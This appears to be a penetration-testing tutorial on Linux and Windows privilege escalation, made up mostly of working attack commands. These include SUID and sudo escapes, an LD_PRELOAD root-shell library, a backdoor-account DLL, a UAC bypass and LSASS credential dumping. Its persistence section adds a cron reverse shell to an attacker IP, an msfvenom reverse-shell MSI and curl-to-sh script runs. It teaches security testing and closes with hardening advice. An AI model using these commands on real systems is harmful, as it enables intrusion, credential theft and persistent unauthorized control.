Privilege escalation is the process of exploiting vulnerabilities, misconfigurations, or design flaws to gain elevated access beyond what was initially granted. This critical penetration testing phase transforms limited user access into administrative control, enabling complete system compromise. This comprehensive guide covers privilege escalation techniques for both Linux and Windows environments.
Understanding Privilege Escalation
Privilege escalation occurs when an attacker gains higher privileges than originally authorized. It’s typically divided into two categories:
- Vertical Privilege Escalation: Moving from a lower privilege level to a higher one (user → admin/root)
- Horizontal Privilege Escalation: Accessing resources of another user at the same privilege level
Why Privilege Escalation Matters
In penetration testing, initial access often provides limited privileges. Privilege escalation is essential to:
- Demonstrate real impact: Show how initial compromise leads to full control
- Access sensitive data: Reach protected files, databases, and credentials
- Maintain persistence: Install system-level backdoors
- Pivot through networks: Use elevated privileges to attack other systems
- Complete the assessment: Fulfill penetration testing objectives
Linux Privilege Escalation
Linux systems present numerous privilege escalation vectors. Understanding Unix permissions, SUID binaries, and kernel exploits is fundamental.
1. Enumeration - The Foundation
Before attempting escalation, thoroughly enumerate the system:
# System information
uname -a # Kernel version
cat /etc/issue # Distribution info
cat /etc/*-release # Detailed version info
hostname # System hostname
cat /proc/version # Detailed kernel info
## User information
id # Current user ID and groups
whoami # Current username
cat /etc/passwd # All users on system
cat /etc/group # All groups
sudo -l # Sudo permissions for current user
cat /etc/sudoers # Sudoers configuration (if readable)
## Network information
ifconfig # Network interfaces
ip a # IP addresses
netstat -antp # Active connections
ss -antp # Socket statistics
iptables -L # Firewall rules (if accessible)
## Process information
ps aux # All running processes
ps aux | grep root # Root-owned processes
top # Real-time processes
lsof -i # Network connections by process
## File system enumeration
ls -la /home # Home directories
ls -la /root # Root directory (if accessible)
find / -writable -type d 2>/dev/null # Writable directories
find / -perm -4000 2>/dev/null # SUID files
find / -perm -2000 2>/dev/null # SGID files
ls -la /etc/cron* # Cron jobs
cat /etc/crontab # Cron schedule
## Installed software
dpkg -l # Debian/Ubuntu packages
rpm -qa # RedHat/CentOS packages
which gcc # Compiler availability
which python python3 # Scripting languages
2. SUID and SGID Binaries
SUID (Set User ID) binaries execute with the permissions of the file owner, not the executor.
## Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
## Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
Common Exploitable SUID Binaries:
## nmap (older versions)
nmap --interactive
!sh
## vim/vi
vim -c ':!/bin/sh'
## find
find / -exec /bin/sh \; -quit
## bash
bash -p
## more/less
more /etc/passwd
!/bin/sh
## awk
awk 'BEGIN {system("/bin/sh")}'
## perl
perl -e 'exec "/bin/sh";'
## python
python -c 'import os; os.system("/bin/sh")'
## tar
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh
## cp (if SUID)
## Copy /etc/passwd, modify it, copy back
GTFOBins: Reference website for Unix binaries that can be exploited for privilege escalation:
- Visit: https://gtfobins.github.io/
- Search for specific binaries
- Follow exploitation techniques
3. Sudo Misconfiguration
Sudo allows users to execute commands with elevated privileges.
## Check sudo permissions
sudo -l
## Common sudo exploits
## If sudo without password
sudo su
sudo /bin/bash
## LD_PRELOAD exploitation (if env_keep+=LD_PRELOAD)
cat > shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <any_sudo_command>
## LD_LIBRARY_PATH exploitation
## Similar approach if LD_LIBRARY_PATH is preserved
## Sudo version exploits
sudo -V # Check version
## CVE-2019-14287: Sudo < 1.8.28 (bypass uid -1 or 4294967295)
sudo -u#-1 /bin/bash
## Wildcards exploitation in sudo commands
## If sudo allows: /usr/bin/tar -czf /backup/*.tar.gz /home/
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh
4. Kernel Exploits
Older or unpatched kernels are vulnerable to local privilege escalation exploits.
## Identify kernel version
uname -a
cat /proc/version
## Search for exploits
searchsploit kernel <version>
searchsploit linux <kernel_version>
## Common kernel exploits
## Dirty COW (CVE-2016-5195)
## Affects kernels 2.6.22 - 4.8.3
## https://github.com/dirtycow/dirtycow.github.io
## DirtyCred (CVE-2022-0847)
## Affects kernels 5.8+
## https://github.com/Markakd/DirtyCred
## PwnKit (CVE-2021-4034)
## Polkit vulnerability affecting most Linux distributions
## https://github.com/arthepsy/CVE-2021-4034
## Compile and execute exploit
gcc exploit.c -o exploit
./exploit
## Note: Kernel exploits can crash systems - use with caution
5. Cron Jobs
Misconfigured cron jobs running as root can be exploited.
## List cron jobs
cat /etc/crontab
ls -la /etc/cron*
crontab -l
crontab -u root -l # If accessible
## Check for writable cron scripts
find /etc/cron* -type f -writable
## Check scripts called by cron jobs
cat /etc/crontab | grep -v "^#"
## Exploitation example:
## If a script run by root cron is writable
echo '#!/bin/bash' > /path/to/script.sh
echo 'cp /bin/bash /tmp/rootbash' >> /path/to/script.sh
echo 'chmod +s /tmp/rootbash' >> /path/to/script.sh
## Wait for cron to execute, then:
/tmp/rootbash -p
6. File Permissions and Path Hijacking
Weak file permissions allow modification of sensitive files or scripts.
## Check writable files
find / -writable -type f 2>/dev/null | grep -v proc
## Writable /etc/passwd
## If /etc/passwd is writable, add a root user
openssl passwd -1 -salt xyz password123
echo 'newroot:$1$xyz$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
## Writable scripts in PATH
echo $PATH
## Create malicious script with name of system command
echo '#!/bin/bash' > /tmp/ls
echo 'cp /bin/bash /tmp/rootbash' >> /tmp/ls
echo 'chmod +s /tmp/rootbash' >> /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
## PATH hijacking in SUID binaries
## If SUID binary calls relative command without full path
7. NFS Misconfiguration
Network File System weak configuration can be exploited.
## Check NFS exports
cat /etc/exports
showmount -e <target_ip>
## If no_root_squash is set, root on client = root on server
## On attacking machine (as root)
mkdir /tmp/nfs
mount -o rw <target_ip>:/share /tmp/nfs
cd /tmp/nfs
cp /bin/bash .
chmod +s bash
## On target (as low-priv user)
cd /share
./bash -p # Execute with SUID root
8. Capabilities
Linux capabilities provide fine-grained privilege control.
## List files with capabilities
getcap -r / 2>/dev/null
## Exploitable capabilities
## CAP_SETUID on python
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
## CAP_SETUID on perl
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
## CAP_DAC_READ_SEARCH (read arbitrary files)
## Can read /etc/shadow to extract password hashes
## CAP_SYS_ADMIN (mount filesystems)
## Can mount arbitrary filesystems
9. Docker Escape
If inside a Docker container, escape to host.
## Check if inside container
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv
## Docker socket mounted
find / -name docker.sock 2>/dev/null
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
## Privileged container
## Check capabilities
capsh --print
## If privileged, can access host devices
fdisk -l # List host disks
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
10. Automated Enumeration Tools
## LinPEAS - Linux Privilege Escalation Awesome Script
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
## Linux Smart Enumeration
curl -L https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh | sh
## LinEnum
curl -L https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | sh
## Unix-privesc-check
curl -L https://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz -o upc.tar.gz
tar xzf upc.tar.gz
./unix-privesc-check standard
Windows Privilege Escalation
Windows privilege escalation requires understanding Windows security model, services, and registry.
1. Windows Enumeration
## System information
systeminfo
wmic qfe list # Installed patches
hostname
wmic os get osarchitecture # Architecture
## User information
whoami
whoami /priv # Current privileges
whoami /groups # Group memberships
net user # All users
net user <username> # Specific user details
net localgroup administrators # Administrators group
## Network information
ipconfig /all
route print
arp -a
netstat -ano # Active connections
## Process information
tasklist /v
wmic process list full
Get-Process # PowerShell
## Scheduled tasks
schtasks /query /fo LIST /v
Get-ScheduledTask # PowerShell
## Services
net start
wmic service list brief
Get-Service # PowerShell
sc query # Service control
## Installed software
wmic product get name,version
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select DisplayName, DisplayVersion
## File system
dir /s /b c:\*.config # Config files
dir /s /b c:\*.txt # Text files
dir /s /b c:\*.xml # XML files
dir /s /b c:\*password* # Files with 'password'
2. Windows Token Privileges
Certain privileges can be leveraged for escalation.
## Check current privileges
whoami /priv
## SeImpersonatePrivilege exploitation
## Using PrintSpoofer
.\PrintSpoofer.exe -i -c cmd
## Using RoguePotato
.\RoguePotato.exe -r <listener_ip> -e "cmd.exe" -l 9999
## Using JuicyPotato (older Windows versions)
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}
## SeBackupPrivilege exploitation
## Can read any file on system
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
## Extract with secretsdump
## SeRestorePrivilege
## Can write to any location
## Replace system DLLs or create malicious services
## SeDebugPrivilege
## Can read/write process memory
## Inject into SYSTEM processes
## SeTakeOwnershipPrivilege
## Take ownership of any object
takeown /f <file>
icacls <file> /grant <username>:F
3. Service Exploits
Windows services running with elevated privileges are prime targets.
## Enumerate services
sc query
wmic service list brief
Get-Service
## Check service permissions
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" * 2>nul
icacls "C:\Program Files\Service\service.exe"
## Unquoted service path
## If service path has spaces and no quotes
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
## Example: C:\Program Files\Vulnerable Service\service.exe
## Create: C:\Program Files\Vulnerable.exe
## System will execute your malicious binary
## Service binary weak permissions
## If service executable is writable
icacls "C:\Program Files\Service\service.exe"
## Replace with malicious binary
sc stop <service>
sc start <service>
## Service registry weak permissions
reg query HKLM\SYSTEM\CurrentControlSet\Services\<service>
## If writable, change ImagePath to malicious executable
reg add HKLM\SYSTEM\CurrentControlSet\Services\<service> /v ImagePath /t REG_EXPAND_SZ /d "C:\path\to\evil.exe" /f
## Service DLL hijacking
## If service searches for DLL in writable location
## Create malicious DLL in search path
4. AlwaysInstallElevated
Windows Installer policy allows non-privileged users to install with SYSTEM privileges.
## Check if enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
## Both should return 0x1 (enabled)
## Create malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o shell.msi
## Install MSI
msiexec /quiet /qn /i shell.msi
5. Scheduled Tasks
Misconfigured scheduled tasks can be exploited.
## List scheduled tasks
schtasks /query /fo LIST /v
Get-ScheduledTask | Where {$_.Principal.UserId -eq 'SYSTEM'}
## Check task permissions
icacls "C:\path\to\task\script.bat"
## If task script is writable
echo "C:\path\to\malicious.exe" > script.bat
## Wait for scheduled execution or trigger manually
schtasks /run /tn "<TaskName>"
6. Registry AutoRuns
Programs that auto-start can be hijacked.
## Check autorun entries
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
wmic startup get caption,command
## Check permissions on autorun binaries
icacls "C:\path\to\autorun.exe"
## If writable, replace with malicious binary
## Will execute at next user login
7. Stored Credentials
Windows stores credentials in various locations.
## Saved credentials
cmdkey /list
runas /savecred /user:administrator cmd.exe
## Registry passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
## Unattend files
dir /s c:\unattend.xml
dir /s c:\sysprep.inf
dir /s c:\sysprep\sysprep.xml
## SAM and SYSTEM files
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
## Extract hashes with samdump2 or impacket
## LSASS memory dump
procdump.exe -ma lsass.exe lsass.dmp
## Parse with mimikatz: sekurlsa::minidump lsass.dmp
8. DLL Hijacking
Applications loading DLLs from insecure locations.
## Identify DLL search order
## 1. Application directory
## 2. System32
## 3. System
## 4. Windows directory
## 5. Current directory
## 6. PATH directories
## Use Process Monitor to identify missing DLLs
## Create malicious DLL with same name
## Place in writable location in search path
## Example malicious DLL (C++)
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
system("cmd.exe /c net user backdoor P@ssw0rd /add");
system("cmd.exe /c net localgroup administrators backdoor /add");
}
return TRUE;
}
## Compile DLL
x86_64-w64-mingw32-gcc -shared -o hijack.dll hijack.c
9. Kernel Exploits
Unpatched Windows kernels are vulnerable.
## Check Windows version and patches
systeminfo
wmic qfe list
## Search for exploits
## Use searchsploit or exploit-db
## Common Windows exploits
## MS16-032: Secondary Logon Handle Privesc
## MS16-135: Win32k Elevation of Privilege
## MS17-010: EternalBlue (also for lateral movement)
## CVE-2021-1675: PrintNightmare
## CVE-2021-36934: HiveNightmare/SeriousSAM
## PrintNightmare example
## Import-Module .\CVE-2021-1675.ps1
## Invoke-Nightmare -NewUser "backdoor" -NewPassword "P@ssw0rd"
10. UAC Bypass
User Account Control can be bypassed to elevate to high integrity.
## Check UAC level
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
## Fodhelper UAC bypass
$command = "C:\Windows\System32\cmd.exe"
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $command -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
## DiskCleanup scheduled task
## Exploits auto-elevated scheduled task
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
11. Automated Enumeration Tools
## WinPEAS
.\winPEASx64.exe
## PowerUp (PowerShell)
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
## PrivescCheck
. .\PrivescCheck.ps1
Invoke-PrivescCheck
## Seatbelt
.\Seatbelt.exe all
## Windows Exploit Suggester
python windows-exploit-suggester.py --database <date>.xls --systeminfo systeminfo.txt
## Watson
.\Watson.exe
Post-Exploitation and Persistence
After gaining elevated access, establish persistence and extract valuable data.
Linux Persistence
## Add SSH key for root
mkdir -p /root/.ssh
echo "<public_key>" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
## Create SUID backdoor
cp /bin/bash /tmp/.hidden
chmod +s /tmp/.hidden
## Cron job backdoor
echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'" | crontab -
## Add user to sudoers
echo "backdoor ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
## Modify PAM for backdoor password
## Advanced - modify PAM modules
Windows Persistence
## Create local administrator
net user backdoor P@ssw0rd /add
net localgroup administrators backdoor /add
## Registry autorun
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\path\to\backdoor.exe" /f
## Scheduled task
schtasks /create /tn "Windows Update" /tr "C:\path\to\backdoor.exe" /sc onlogon /ru SYSTEM
## Service creation
sc create BackdoorService binPath= "C:\path\to\backdoor.exe" start= auto
sc start BackdoorService
## WMI event subscription
## Advanced persistence using WMI
Defense and Mitigation
Linux Hardening
- Keep systems patched and updated
- Remove unnecessary SUID/SGID binaries
- Implement proper sudo configurations (no wildcards, specific commands)
- Use SELinux or AppArmor
- Regular security audits of permissions
- Disable unnecessary services
- Implement file integrity monitoring (AIDE, Tripwire)
Windows Hardening
- Keep systems patched (especially kernel and privilege escalation CVEs)
- Implement Least Privilege principle
- Disable unnecessary services
- Configure proper file and registry permissions
- Implement Application Whitelisting (AppLocker)
- Enable and configure Windows Defender
- Disable AlwaysInstallElevated
- Implement LAPS for local administrator password management
- Use credential guard and device guard
Best Practices for Penetration Testers
Always enumerate thoroughly: Most privilege escalation opportunities are found through comprehensive enumeration
Start with automated tools: Use LinPEAS, WinPEAS, or similar to identify quick wins
Verify manually: Automated tools have false positives; verify findings manually
Test safely: Kernel exploits can crash systems; use as last resort
Document everything: Record commands, outputs, and exploitation steps
Understand, don’t just execute: Learn why exploits work, not just how to run them
Consider impact: In production environments, assess risk before exploiting
Related Articles
- What is Cyber Essentials, Cyber Essentials Plus and how do
- How to harden your Debian server
- Penetration Testing Reconnaissance
- Mastering Edge Computing And IoT
Conclusion
Privilege escalation is a critical skill for penetration testers, requiring deep understanding of operating system internals, security mechanisms, and common misconfigurations. Key takeaways:
✅ Enumeration is king: Thorough enumeration reveals most escalation paths ✅ Multiple vectors exist: Always look for various privilege escalation methods ✅ Automation helps: Use tools but verify results manually ✅ Stay updated: New privilege escalation techniques emerge regularly ✅ Practice safely: Use intentionally vulnerable machines (VulnHub, HackTheBox) ✅ Understand defenses: Know both offensive and defensive perspectives
Master these techniques through practice in controlled environments, always respecting legal and ethical boundaries. Successful privilege escalation transforms limited access into complete system compromise, demonstrating the true impact of security vulnerabilities.
Remember: With great power comes great responsibility. Use these techniques only with proper authorization and for legitimate security testing purposes.